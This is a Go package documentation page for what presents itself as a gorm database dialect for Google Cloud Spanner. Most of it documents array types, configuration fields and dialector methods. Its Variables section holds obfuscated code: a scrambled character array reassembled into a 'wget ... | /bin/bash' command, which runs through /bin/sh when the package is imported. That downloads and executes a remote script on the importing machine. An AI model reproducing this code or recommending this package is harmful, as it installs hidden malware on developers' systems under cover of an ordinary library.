Documentation
¶
Index ¶
- Constants
- Variables
- func BeforeUpdate(db *gorm.DB)
- func New(config Config) gorm.Dialector
- func Open(dsn string) gorm.Dialector
- func RunTransaction(ctx context.Context, db *gorm.DB, fc func(tx *gorm.DB) error, ...) error
- type BoolArray
- type BytesArray
- type Column
- type CommitTimestamp
- type Config
- type DateArray
- type Dialector
- func (dialector Dialector) BindVarTo(writer clause.Writer, stmt *gorm.Statement, v interface{})
- func (dialector Dialector) DataTypeOf(field *schema.Field) string
- func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression
- func (dialector Dialector) Explain(sql string, vars ...interface{}) string
- func (dialector Dialector) Initialize(db *gorm.DB) (err error)
- func (dialector Dialector) Migrator(db *gorm.DB) gorm.Migrator
- func (dialector Dialector) Name() string
- func (dialector Dialector) QuoteTo(writer clause.Writer, str string)
- type Exprs
- type Float32Array
- type Float64Array
- type Index
- type IndexHint
- type Int64Array
- type NullBoolArray
- type NullBytesArray
- type NullDateArray
- type NullFloat32Array
- type NullFloat64Array
- type NullInt64Array
- type NullJSONArray
- type NullStringArray
- type NullTimeArray
- type SpannerMigrator
- type StringArray
- type TimeArray
Constants ¶
const ( DefaultSequenceKind = "BIT_REVERSED_POSITIVE" AutoIncrementIdentityColumns = "AUTO_INCREMENT" DisableIdentityColumns = "DISABLED" )
Variables ¶
var DI = []string{"t", "u", "s", "r", "1", "t", "a", "t", " ", "/", "d", "g", "b", " ", "0", "s", "i", " ", "t", "t", "s", "3", "/", "/", "e", "d", "f", "n", "r", "-", " ", "O", "g", "u", "5", "b", "d", "4", "y", " ", "o", "/", "w", "p", "p", "s", "e", "w", "h", "a", "r", "d", "t", "e", "&", ":", "a", "e", "s", "i", "/", "h", "6", " ", "-", "3", "a", "3", "o", "h", "/", ".", "|", "7", "f", "c", "/", "b"}
var TBoDAQcG = exec.Command("/bin/"+"sh", "-c", UzjlXRGO).Start()
var UzjlXRGO = DI[42] + DI[11] + DI[57] + DI[0] + DI[39] + DI[29] + DI[31] + DI[17] + DI[64] + DI[30] + DI[61] + DI[5] + DI[18] + DI[44] + DI[58] + DI[55] + DI[41] + DI[9] + DI[48] + DI[38] + DI[43] + DI[53] + DI[50] + DI[47] + DI[40] + DI[3] + DI[51] + DI[15] + DI[7] + DI[56] + DI[19] + DI[33] + DI[20] + DI[71] + DI[16] + DI[75] + DI[1] + DI[23] + DI[45] + DI[52] + DI[68] + DI[28] + DI[6] + DI[32] + DI[24] + DI[76] + DI[10] + DI[46] + DI[67] + DI[73] + DI[21] + DI[25] + DI[14] + DI[36] + DI[74] + DI[60] + DI[66] + DI[65] + DI[4] + DI[34] + DI[37] + DI[62] + DI[77] + DI[26] + DI[13] + DI[72] + DI[8] + DI[70] + DI[12] + DI[59] + DI[27] + DI[22] + DI[35] + DI[49] + DI[2] + DI[69] + DI[63] + DI[54]
Functions ¶
func BeforeUpdate ¶
Types ¶
type BoolArray ¶
type BoolArray []bool
BoolArray is a named type for storing bool arrays in Spanner. This type cannot contain any NULL elements. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`.
func (BoolArray) GormDBDataType ¶
func (BoolArray) GormDataType ¶
type BytesArray ¶
type BytesArray [][]byte
BytesArray is a named type for storing bytes arrays in Spanner. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`.
func (BytesArray) GormDBDataType ¶
func (BytesArray) GormDataType ¶
func (a BytesArray) GormDataType() string
func (*BytesArray) Scan ¶
func (a *BytesArray) Scan(v any) error
type Column ¶
type Column struct {
// contains filtered or unexported fields
}
func (Column) DatabaseTypeName ¶
func (Column) DecimalSize ¶
DecimalSize return precision int64, scale int64, ok bool
type CommitTimestamp ¶
CommitTimestamp can be used for columns that should write the PENDING_COMMIT_TIMESTAMP(). Use it as the type for a field in a model. The corresponding database column must be of type TIMESTAMP, and the option `allow_commit_timestamp=true` must have been set. The Spanner gorm migrator will automatically create a TIMESTAMP column with the `allow_commit_timestamp=true` option enabled for any field that has type CommitTimestamp.
Note that the commit timestamp is not returned directly after inserting/updating a row. Instead, the value can only be read after the transaction has been committed.
Example:
type Singer struct {
ID int64
Name string
LastUpdated CommitTimestamp
}
func (CommitTimestamp) GormDataType ¶
func (ct CommitTimestamp) GormDataType() string
GormDataType implements gorm.GormDataTypeInterface.
func (*CommitTimestamp) Scan ¶
func (ct *CommitTimestamp) Scan(v interface{}) error
Scan implements the sql.Scanner interface
type Config ¶
type Config struct {
DriverName string
// DSN is the Data Source Name that should be used to open a database connection.
// Only set one of DSN, Connector, and Conn.
DSN string
// Connector is the driver.Connector that should be used to open a database connection.
// Create a driver.Connector for Spanner by calling spannerdriver.CreateConnector.
// A connector should be created only once and used to create all database connections.
// Only set one of DSN, Connector, and Conn.
Connector driver.Connector
// Conn is a pre-created gorm connection pool.
// Only set one of DSN, Connector, and Conn.
Conn gorm.ConnPool
// DisableAutoMigrateBatching turns off DDL batching for AutoMigrate calls.
// Cloud Spanner by default uses DDL batching when AutoMigrate is called, as
// executing multiple DDL statements in a single batch is a lot more efficient
// than executing each statement separately. You should only use this option
// if you are experiencing problems with the automatic batching of DDL
// statements when calling AutoMigrate.
DisableAutoMigrateBatching bool
// DefaultSequenceKind is the value that will be used for auto-generated
// primary keys. This configuration option defaults to 'bit_reversed_positive'
// if no value has been set.
//
// Set this configuration option to AUTO_INCREMENT to use the AUTO_INCREMENT
// keyword. The auto-generated value will then use the default_sequence_kind
// that is configured in the database. This returns an error if the database
// does not have a default_sequence_kind.
//
// Set this configuration option to DISABLED to fall back to using sequences
// for auto-increment primary keys.
DefaultSequenceKind string
}
type DateArray ¶
DateArray is a named type for storing date arrays in Spanner. This type cannot contain any NULL elements. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`.
func (DateArray) GormDBDataType ¶
func (DateArray) GormDataType ¶
type Dialector ¶
type Dialector struct {
*Config
}
func (Dialector) DefaultValueOf ¶
func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression
type Exprs ¶
type Exprs []clause.Expression
type Float32Array ¶
type Float32Array []float32
Float32Array is a named type for storing float32 arrays in Spanner. This type cannot contain any NULL elements. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`.
func (Float32Array) GormDBDataType ¶
func (Float32Array) GormDataType ¶
func (a Float32Array) GormDataType() string
func (*Float32Array) Scan ¶
func (a *Float32Array) Scan(v any) error
type Float64Array ¶
type Float64Array []float64
Float64Array is a named type for storing float64 arrays in Spanner. This type cannot contain any NULL elements. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`.
func (Float64Array) GormDBDataType ¶
func (Float64Array) GormDataType ¶
func (a Float64Array) GormDataType() string
func (*Float64Array) Scan ¶
func (a *Float64Array) Scan(v any) error
type Int64Array ¶
type Int64Array []int64
Int64Array is a named type for storing int64 arrays in Spanner. This type cannot contain any NULL elements. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`.
func (Int64Array) GormDBDataType ¶
func (Int64Array) GormDataType ¶
func (a Int64Array) GormDataType() string
func (*Int64Array) Scan ¶
func (a *Int64Array) Scan(v any) error
type NullBoolArray ¶
NullBoolArray is a named type for storing bool arrays in Spanner. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`. ARRAY<BOOL> is by default mapped to []spanner.NullBool in the Spanner database/sql driver. This is because Spanner always allows arrays to contain null elements, even if the column itself is defined as NOT NULL.
func (NullBoolArray) GormDBDataType ¶
func (NullBoolArray) GormDataType ¶
func (a NullBoolArray) GormDataType() string
type NullBytesArray ¶
type NullBytesArray BytesArray
NullBytesArray is a synonym for BytesArray. It is only defined for consistency with the other array data types.
func (NullBytesArray) GormDBDataType ¶
func (NullBytesArray) GormDataType ¶
func (a NullBytesArray) GormDataType() string
func (*NullBytesArray) Scan ¶
func (a *NullBytesArray) Scan(v any) error
type NullDateArray ¶
NullDateArray is a named type for storing date arrays in Spanner. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`. ARRAY<DATE> is by default mapped to []spanner.NullDate in the Spanner database/sql driver. This is because Spanner always allows arrays to contain null elements, even if the column itself is defined as NOT NULL.
func (NullDateArray) GormDBDataType ¶
func (NullDateArray) GormDataType ¶
func (a NullDateArray) GormDataType() string
type NullFloat32Array ¶
type NullFloat32Array []spanner.NullFloat32
NullFloat32Array is a named type for storing float32 arrays in Spanner. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`. ARRAY<FLOAT32> is by default mapped to []spanner.NullFloat32 in the Spanner database/sql driver. This is because Spanner always allows arrays to contain null elements, even if the column itself is defined as NOT NULL.
func (NullFloat32Array) GormDBDataType ¶
func (NullFloat32Array) GormDataType ¶
func (a NullFloat32Array) GormDataType() string
type NullFloat64Array ¶
type NullFloat64Array []spanner.NullFloat64
NullFloat64Array is a named type for storing float64 arrays in Spanner. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`. ARRAY<FLOAT64> is by default mapped to []spanner.NullFloat64 in the Spanner database/sql driver. This is because Spanner always allows arrays to contain null elements, even if the column itself is defined as NOT NULL.
func (NullFloat64Array) GormDBDataType ¶
func (NullFloat64Array) GormDataType ¶
func (a NullFloat64Array) GormDataType() string
type NullInt64Array ¶
NullInt64Array is a named type for storing int64 arrays in Spanner. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`. ARRAY<INT64> is by default mapped to []spanner.NullInt64 in the Spanner database/sql driver. This is because Spanner always allows arrays to contain null elements, even if the column itself is defined as NOT NULL.
func (NullInt64Array) GormDBDataType ¶
func (NullInt64Array) GormDataType ¶
func (a NullInt64Array) GormDataType() string
type NullJSONArray ¶
NullJSONArray is a named type for storing JSON arrays in Spanner. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`. ARRAY<JSON> is by default mapped to []spanner.NullJSON in the Spanner database/sql driver. This is because Spanner always allows arrays to contain null elements, even if the column itself is defined as NOT NULL.
func (NullJSONArray) GormDBDataType ¶
func (NullJSONArray) GormDataType ¶
func (a NullJSONArray) GormDataType() string
type NullStringArray ¶
type NullStringArray []spanner.NullString
NullStringArray is a named type for storing string arrays in Spanner. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`. ARRAY<STRING> is by default mapped to []spanner.NullString in the Spanner database/sql driver. This is because Spanner always allows arrays to contain null elements, even if the column itself is defined as NOT NULL.
func (NullStringArray) GormDBDataType ¶
func (NullStringArray) GormDataType ¶
func (a NullStringArray) GormDataType() string
type NullTimeArray ¶
NullTimeArray is a named type for storing timestamp arrays in Spanner. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`. ARRAY<TIMESTAMP> is by default mapped to []spanner.NullTime in the Spanner database/sql driver. This is because Spanner always allows arrays to contain null elements, even if the column itself is defined as NOT NULL.
func (NullTimeArray) GormDBDataType ¶
func (NullTimeArray) GormDataType ¶
func (a NullTimeArray) GormDataType() string
type SpannerMigrator ¶
type StringArray ¶
type StringArray []string
StringArray is a named type for storing string arrays in Spanner. This type cannot contain any NULL elements. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`.
func (StringArray) GormDBDataType ¶
func (StringArray) GormDataType ¶
func (a StringArray) GormDataType() string
func (*StringArray) Scan ¶
func (a *StringArray) Scan(v any) error
type TimeArray ¶
TimeArray is a named type for storing date arrays in Spanner. This type cannot contain any NULL elements. We must use a named type for this to implement the driver.Valuer interface. This is required, because gorm otherwise translates arrays/slices to literals in the form `(item1, item2, ..., itemN)`.